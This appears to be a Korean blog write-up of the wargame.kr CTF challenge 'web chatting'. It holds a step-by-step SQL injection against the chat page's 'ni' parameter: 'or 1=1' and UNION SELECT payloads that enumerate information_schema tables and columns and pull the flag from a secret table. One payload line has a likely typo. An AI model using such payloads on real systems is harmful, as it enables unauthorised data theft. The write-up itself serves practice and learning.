본문 바로가기
Hacking/wargame.kr

[wargame.kr] Question 13. web chatting

by 알거음슴 2021. 7. 19.

Question 13. web chatting

문제

Simple SQLi Challenge.

How can I set in order to reduce the traffic? Please try looking at a developer's perspective.

 

 

 

풀이

문제 접근 시 ID 로그인 폼이 제공된다 임의의 값을 입력하여 join을 진행 해 본다.

 

 

입력 후 join 이후 결과이다, 채팅창으로 보여지는곳으로 접근이 된 것을 확인할 수 있다. 취약점이 있는지 분석을 진행해본다.

 

개발자도구(F12) -> Network 을 통해 확인 시 채팅을 진행하면 GET_Method 방식으로 데이터가 전달되며, chatview.php?t=1&ni=63621 의 결과가 채팅창에 뜨는것으로 확인되고 있다. 해당 페이지로 접근해보자.

 

 

chatview.php?t=1&ni=63621 접근 시 내가 입력한 채팅 내용을 확인할 수 있다. ni의 경우는 채팅의 기록 순서로 예상된다 값을 변경하여 다시 요청해본다.

 

 

chatview.php?t=1&ni=63610 접근 시 내 이전 채팅기록들도 모두 확인되고 있는걸 볼 수 있다 DB 에서 값을 불러오는 형식으로 확인됨으로Injection 취약점의 유무를 확인해본다.

 

 

chatview.php?t=1&ni=99999 or 1=1 접근 시 Injection 구문이 적용되어 모든 채팅 기록들이 출력되는걸 확인할 수 있다. 구문입력을 통해서 정보를 획득 해 보자.

 

chatview.php?t=1&ni=99999 union select 1,2,3,4,5 --

예상대로 SQL Injection 공격이 가능하였다, column 의 개수 및 출력 되는 위치를 확인했다.

 

 

chatview.php?t=1&ni=99999 union select 1,table_name,3,4,5 from information_schema.tables --

table이름 중 chat_log_secret 라는 이름의 table 을 확인했다.

 

 

view.php?t=1&ni=99999 union select 1,column_name,3,4,5 from information_schema.columns --

column 에는 readme 라는 부분을 확인할 수 있다 이 둘을 조합하여 readme 안의 내용을 확인해본다.

 

chatview.php?t=1&ni=99999 union select 1,readme,3,4,5 from chat_log_secret –

성공적으로 플래그 값을 가져올 수 있었고, 이를 제출 시 문제를 통과할 수 있다.